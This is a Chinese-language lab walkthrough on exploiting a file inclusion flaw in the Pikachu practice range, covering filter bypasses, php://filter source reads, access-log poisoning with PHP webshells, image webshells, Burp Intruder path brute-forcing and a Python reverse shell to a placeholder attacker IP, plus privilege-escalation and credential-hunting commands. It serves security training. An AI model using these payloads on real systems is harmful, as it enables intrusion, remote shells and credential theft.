文件包含漏洞实战:从原理到Getshell的完整攻防演练 1. 项目概述一次完整的文件包含漏洞攻防演练最近在带新人做安全测试发现很多朋友对文件包含漏洞的理解还停留在“知道有这么个漏洞”的层面真上手去利用尤其是想通过它拿到服务器权限getshell时就有点无从下手了。正好Pikachu这个靶场在文件包含这块设计得挺典型既有基础的环境也埋了一些需要动点脑筋的“坑”。我打算结合一次完整的实战演练从漏洞原理、环境探测、手工利用一直讲到如何用BurpSuite的Intruder模块进行高效爆破最终实现getshell。整个过程我会把踩过的坑、调试的思路和工具使用的细节都掰开揉碎了讲目标是让你看完之后不仅能复现更能理解每一步背后的“为什么”以后遇到类似场景能自己分析。简单说文件包含漏洞就是Web应用在引入文件时没有对用户可控的文件路径进行严格的过滤导致攻击者可以包含并执行任意文件比如系统敏感文件/etc/passwd或者自己上传的恶意脚本。在Pikachu靶场里这个漏洞被模拟得非常贴近真实场景。而BurpSuite的Intruder模块则是我们爆破关键文件路径、绕过过滤规则的“瑞士军刀”。这次实战我们就用这套组合拳从漏洞发现一路打到服务器后台。2. 漏洞原理与Pikachu环境初探2.1 文件包含漏洞的核心失控的“文件路径”参数要利用一个漏洞首先得吃透它的原理。文件包含漏洞通常发生在使用诸如PHP中的include、require、include_once、require_once等函数时。开发者的本意是好的为了提高代码复用性把一些公共的头部、尾部或者配置函数封装在单独的文件里然后在需要的地方包含进来。问题出在包含文件的“路径”这个参数如果直接或间接地来自用户输入比如GET或POST参数并且没有经过严格的校验和过滤漏洞就产生了。举个例子假设有一段代码是这样的?php $page $_GET[page]; include(/pages/ . $page . .php); ?看起来开发者期望用户访问?pagehome然后程序去包含/pages/home.php这个文件。但如果攻击者提交?page../../../../etc/passwd经过拼接程序尝试包含的文件路径就变成了/pages/../../../../etc/passwd.php经过路径回溯最终可能指向了系统的/etc/passwd文件。更危险的是如果目标服务器允许包含远程URL需要allow_url_include配置开启攻击者甚至可以直接包含一个存放在自己服务器上的恶意脚本。在Pikachu靶场中为了教学目的它清晰地展示了两种包含类型本地文件包含LFI和远程文件包含RFI。我们的实战主要围绕LFI展开因为RFI对服务器配置有要求在实际中相对少见但原理相通。2.2 Pikachu靶场搭建与漏洞点定位工欲善其事必先利其器。首先你得有一个能运行的Pikachu环境。推荐使用PHPStudy、XAMPP这类集成环境在Windows上快速搭建。把下载的Pikachu源码包解压到Web服务器的根目录比如www或htdocs然后访问http://localhost/pikachu就能看到界面了。确保你的PHP版本在5.x到7.x之间避免兼容性问题。进入Pikachu主界面后在左侧漏洞列表里找到“文件包含漏洞”。点进去通常会看到几个子模块比如“File Inclusion(local)”、“File Inclusion(remote)”等。我们这次的目标是“本地文件包含”。点击进入该模块你会看到一个简单的页面可能有一个文件选择器或者链接提示你选择语言文件如file1.php、file2.php。查看页面URL你很可能看到类似?filenamefile1.php这样的参数。这里就是我们的攻击入口——filename参数。第一步永远是信息收集。右键查看页面源代码或者直接用浏览器开发者工具F12的Network标签页查看这个请求是如何发出的。确认是GET请求参数名是filename。你可以尝试手动修改URL比如把file1.php改成../../../../etc/passwd看看服务器的反应。在Pikachu环境下它可能已经做了一些基础的过滤比如检查路径中是否包含../所以直接打可能不成功。但这正是我们需要的——一个有防护的、需要绕过的靶场更贴近实战。注意在真实测试中务必获得授权未经授权的测试是违法的。Pikachu是本地靶场可以放心操作。3. 手工探测与基础利用3.1 绕过路径遍历过滤的常见技巧当你发现直接提交../../../etc/passwd被拦截或返回错误时说明程序有过滤机制。常见的过滤包括删除或替换../字符串。我们的绕过思路就是利用过滤逻辑的不完整性。双写绕过如果过滤逻辑是简单地将../替换为空字符串那么我们可以提交....//。经过替换中间的../被删除剩下的部分又组合成了../。即....//- 删除../-../。绝对路径绕过有时程序只检查相对路径但允许绝对路径。可以尝试直接包含/etc/passwdLinux或C:\Windows\System32\drivers\etc\hostsWindows。在Pikachu的PHP环境下可以尝试使用php://filter伪协议来读取文件内容这常常能绕过基于路径字符串的过滤。例如?filenamephp://filter/readconvert.base64-encode/resourcefile1.php。这个Payload会以Base64编码的形式读取file1.php的源代码解码后就能看到可能包含敏感信息或更多线索的源码。编码绕过对../进行URL编码%2e%2e%2f、双重URL编码%252e%252e%252f或Unicode编码有时可以绕过简单的字符串匹配。超长路径截断在PHP版本小于5.3.4的特定环境下可以使用超长的文件名比如多个.或者利用%00空字节截断。但这种方法对环境和版本依赖性强在现代系统中较少成功。在Pikachu靶场中我遇到的情况是它可能检查参数中是否包含http://、https://、../、..\等字符串。通过测试发现使用....//的双写方式可以成功绕过对../的过滤。例如Payload构造为?filename....//....//....//....//etc/passwd。这样每次过滤掉一个../剩下的仍然能组成路径回溯。3.2 利用PHP伪协议获取源码与信息手工探测阶段php://filter伪协议是我们的好帮手。它不直接执行文件而是允许我们对数据流进行过滤处理常用于读取文件源码。读取PHP源码?filenamephp://filter/readconvert.base64-encode/resourceindex.php这个Payload会返回Base64编码后的index.php文件内容。你需要用Base64解码工具在线网站或命令行base64 -d进行解码从而查看前端看不到的服务器端逻辑比如是否有其他过滤函数、数据库配置等。探测Web目录包含/etc/passwd可以确认漏洞存在但更关键的是找到网站根目录的绝对路径为后续包含Webshell做准备。你可以尝试包含Web服务器错误日志如/var/log/apache2/error.log但需要权限。一个更通用的方法是利用PHP内置的phpinfo()函数。如果靶场有其他能输出phpinfo()的页面或者你能通过文件包含包含一个生成phpinfo的临时文件在phpinfo页面里搜索_SERVER[“DOCUMENT_ROOT”]就能找到网站的绝对路径。例如路径可能是/var/www/html/pikachu。通过以上手工操作我们确认了漏洞存在摸清了过滤规则双写绕过并且拿到了网站的绝对路径。接下来就是为getshell做准备了。4. 利用文件包含Getshell的两种核心思路拿到文件包含漏洞后getshell的目标就是让服务器执行我们提供的恶意代码。主要有两种经典思路包含日志文件和包含上传文件。4.1 思路一包含Web服务器访问日志这是一种非常经典且有效的技巧。Web服务器如Apache、Nginx会将所有访问请求记录在日志文件中通常包括请求的URL、User-Agent头等信息。如果我们能控制请求中的某个字段并将PHP代码注入进去然后再通过文件包含漏洞去包含这个日志文件那么注入的代码就会被服务器当作PHP文件执行。操作步骤找到日志路径默认情况下Apache日志可能在/var/log/apache2/access.log或/var/log/httpd/access_logNginx可能在/var/log/nginx/access.log。可以通过之前读取的phpinfo()信息或者常见的路径字典来猜测。注入恶意代码到日志我们选择在HTTP请求的User-Agent头中注入代码因为User-Agent通常会被原样记录。使用BurpSuite的Repeater模块拦截一个对靶场的普通请求将User-Agent修改为?php phpinfo();?或者更直接的webshell代码?php eval($_POST[‘cmd’]);?。发送恶意请求将修改后的请求发送几次确保代码被写入日志文件。包含日志文件利用文件包含漏洞去包含这个日志文件。例如?filename....//....//var/log/apache2/access.log。如果一切顺利你包含日志时服务器会解析并执行日志中记录的PHP代码从而看到phpinfo()页面或者建立起webshell连接。注意事项日志文件通常很大包含可能需要时间甚至可能导致超时。日志中可能存在特殊字符如空格、换行被转义可能破坏PHP代码结构。通常注入?php system($_GET[‘c’]);?这种短小精悍的代码成功率更高。现代服务器或安全软件可能会对日志文件进行权限限制防止Web用户读取。4.2 思路二配合文件上传功能这是更直接、更稳定的方法。如果目标网站同时存在文件上传功能并且我们能够上传一个文件哪怕后缀被检查但文件内容不会被篡改那么我们就可以上传一个包含恶意代码的文本文件然后利用文件包含漏洞去执行它。操作步骤在Pikachu靶场中模拟制作图片马即使上传点限制只能上传图片我们也可以制作“图片马”。准备一张正常图片如test.jpg和一句话webshell文本shell.php?php eval($_POST[‘pass’]);?。在Linux下使用命令cat test.jpg shell.php shell.jpg。这样生成的shell.jpg用图片查看器打开是正常图片但用文本编辑器查看末尾就包含了我们的PHP代码。上传文件在Pikachu的文件上传漏洞模块如果开放或模拟的上传点上传这个shell.jpg文件。记下上传成功后文件访问的路径例如/uploads/shell.jpg。包含上传文件利用文件包含漏洞去包含这个上传的图片文件。例如?filename....//....//uploads/shell.jpg。因为文件包含漏洞在执行时并不关心文件后缀它只关心文件内容。当服务器以PHP方式解析shell.jpg时会正常识别图片二进制数据直到遇到?php ... ?标签就会将其作为PHP代码执行。为什么这种方法更优相比于日志包含文件路径更短、更确定文件内容完全可控没有杂乱的日志信息干扰成功率高且稳定。在Pikachu实战中如果其文件上传模块与文件包含模块存在目录交集这将是首选方案。5. BurpSuite Intruder模块爆破关键路径在实际渗透中我们往往不知道日志的确切路径或者上传文件的具体目录。这时候就需要进行爆破。BurpSuite的Intruder模块正是为此而生。我们将以爆破Apache日志路径为例演示其高效用法。5.1 Intruder攻击类型与配置详解首先用BurpSuite拦截一个包含漏洞的正常请求比如?filenamefile1.php右键发送到Intruder模块。攻击类型选择针对路径爆破我们通常使用“Sniper”或“Cluster bomb”。Sniper使用一个载荷集合依次替换一个位置标记。适合逐个尝试已知路径列表。Cluster bomb使用多个载荷集合进行笛卡尔积组合。适合当路径由变量如日期组成时例如/var/log/apache2/access_20240520.log可以用一个载荷集放路径前缀另一个放日期。 这里我们使用Sniper。设置载荷位置在Positions标签页清除默认标记然后只选中我们想要爆破的路径部分。例如假设我们的请求是GET /pikachu/vul/fileinclude/fi_local.php?filename../../../../var/log/apache2/access.log我们不确定/var/log/apache2/这个路径是否正确。我们可以将access.log作为固定部分而将其父目录路径标记为变量../../../../§var/log/apache2§/access.log。更常见的做法是准备一个包含各种可能日志路径的字典直接替换整个路径filename§/var/log/apache2/access.log§。配置载荷字典切换到Payloads标签页。这是爆破的核心。我们需要一个高质量的路径字典。你可以从网上下载常见的Web路径字典或者自己根据经验整理。对于Linux日志路径字典内容可能包括/var/log/apache2/access.log /var/log/apache/access_log /var/log/httpd/access_log /usr/local/apache2/logs/access_log /var/log/nginx/access.log /proc/self/cwd/../logs/access.log ...等等将字典内容粘贴到Payload Options的简单列表框中。5.2 结果分析与成功判定配置完成后点击右上角的Start attackIntruder会开始用字典中的每个路径替换变量并发起请求。如何判断哪个请求成功了我们需要关注响应。长度Length这是最直观的指标。一个成功的包含尤其是包含了我们注入代码的日志其返回的HTML长度通常会显著大于其他返回“文件不存在”错误的请求。在攻击结果表格中点击Length列进行排序长度异常的请求就是重点怀疑对象。状态码Status虽然文件存在时可能返回200但有时包含一个存在的非PHP文件如日志也可能返回200只是内容不同。所以状态码仅供参考需结合长度和内容看。响应内容Response直接查看可疑请求的响应体。如果包含了我们注入的?php phpinfo();?那么在响应中应该能看到phpinfo()页面的HTML代码。你可以搜索“phpinfo”关键字。一个实战技巧在发起爆破前先进行一次“校准”。用一个肯定不存在的路径如/tmp/aaaabbbb.log发起一次请求记下其返回的长度比如500字节。那么在爆破结果中所有长度接近500的基本都可以忽略而那些长度明显不同比如几千字节的就需要重点查看。通过Intruder爆破我们可以高效地定位到可读的日志文件路径从而完成日志包含getshell的临门一脚。6. 完整实战流程串联与问题排查现在我们把所有步骤串联起来形成从零到getshell的完整攻击链并记录其中可能遇到的问题。6.1 实战步骤全记录信息收集与漏洞确认访问Pikachu文件包含模块。修改filename参数尝试包含../../../../etc/passwd发现被拦截。尝试双写绕过....//....//....//....//etc/passwd成功读取到系统用户信息确认LFI漏洞存在且过滤规则可绕过。使用php://filter读取fi_local.php的源码分析后端过滤逻辑。获取Web绝对路径寻找或制造一个能输出phpinfo()的页面。Pikachu可能有其他漏洞点能触发或者我们可以尝试包含/proc/self/environ需权限等文件来寻找路径线索。假设我们通过某种方式得知根目录为/var/www/html/pikachu。准备攻击载荷日志包含方案使用BurpSuite拦截任意请求将User-Agent修改为?php system($_GET[‘cmd’]);?并发送数次。文件上传方案制作图片马shell.jpg通过文件上传漏洞如有上传至/var/www/html/pikachu/uploads/。爆破关键路径以日志为例将包含漏洞请求发送至Intruder。设置攻击类型为Sniper标记整个日志路径为变量。载入Linux常见日志路径字典。开始攻击根据响应长度和内容排序发现/var/log/apache2/access.log的响应长度异常。查看该响应确认其中包含我们注入的PHP代码。执行代码与获取Shell构造最终利用URLhttp://target/pikachu/vul/fileinclude/fi_local.php?filename....//....//var/log/apache2/access.logcmdid访问该URL参数cmd的值id会被system()函数执行在响应中返回当前用户权限信息uid, gid等。尝试执行更复杂的命令如cmdwhoami、cmdls -la /确认命令执行权限。如果需要交互式shell可以尝试用cmdpython -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“your_ip”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’来反弹一个shell到你的监听端口。6.2 常见问题与排查技巧实录即使按照步骤操作也可能会遇到各种问题。下面是我在多次实战中总结的一些“坑”和解决方法。问题1包含日志文件后没有执行代码只是把日志文本显示出来了。原因服务器没有将日志文件以PHP方式解析。这可能是因为日志文件后缀是.log而服务器的配置默认只解析.php等特定后缀。排查检查包含后的响应体是否是纯文本格式的日志内容如果是说明代码没有被执行。解决尝试包含PHP错误日志错误日志如/var/log/apache2/error.log有时会被配置为.log后缀但能被解析因为其中可能包含PHP错误信息。换用文件上传方案更可靠。利用/proc/self/environ如果进程环境变量可控可以尝试包含它。但难度较高。利用PHP Session文件如果知道Session ID可以尝试包含Session文件路径如/tmp/sess_[sessionid]并在User-Agent中注入代码然后包含它。这需要条件竞争或精准预测Session ID。问题2使用BurpSuite Intruder爆破时速度很慢或者大量请求返回相同的错误长度。原因字典过大或网络延迟目标对错误请求有统一返回页面。排查检查前几个请求的响应确认错误页面的特征长度。解决优化字典使用更精准的字典而不是海量通用字典。针对目标系统Linux/Windows选择字典。设置线程Thread在Intruder的Resource pool中适当增加线程数但不要过高避免被屏蔽。使用“Grep - Match”在Settings标签页的Grep - Match中添加一个成功响应中预期会出现的字符串如我们注入的system或者uid。这样攻击结果中会多出一列直接标记出包含该关键词的响应一目了然。问题3命令执行成功了但执行whoami发现是www-data或nobody权限很低什么都做不了。原因这是最普遍的情况。Web服务通常以低权限用户运行这是良好的安全实践。解决信息收集即使权限低也要尽力收集信息。执行find / -perm -4000 -type f 2/dev/null查找SUID特权程序cat /etc/passwd查看用户uname -a查看内核版本寻找提权漏洞。横向移动查看当前目录、网站配置文件config.php、.env等寻找数据库密码或其他服务的凭证尝试连接数据库或许能获取更多数据。关注目标在授权测试中getshell往往不是终点证明漏洞危害、获取敏感数据才是关键。低权限shell已足够证明“可执行任意命令”这一高危风险。问题4在Pikachu靶场中文件包含和文件上传模块不互通找不到上传目录。原因靶场为了教学可能将不同漏洞模块隔离。解决专注于日志包含方案。或者尝试利用PHP的zip://或phar://伪协议配合文件上传有时可以绕过目录限制但这需要更复杂的构造。整个实战过程从简单的手工探测到工具辅助的爆破再到最后的漏洞利用和问题排查体现的不仅仅是对一个漏洞的利用更是一种渗透测试的思维路径发现 - 探测 - 绕过 - 利用 - 拓展。文件包含漏洞就像一个支点撬动的是整个Web应用的安全防线。理解并掌握它对你构建完整的Web安全知识体系至关重要。最后记住所有技术都应在合法授权的范围内使用Pikachu这样的靶场就是我们最好的练兵场。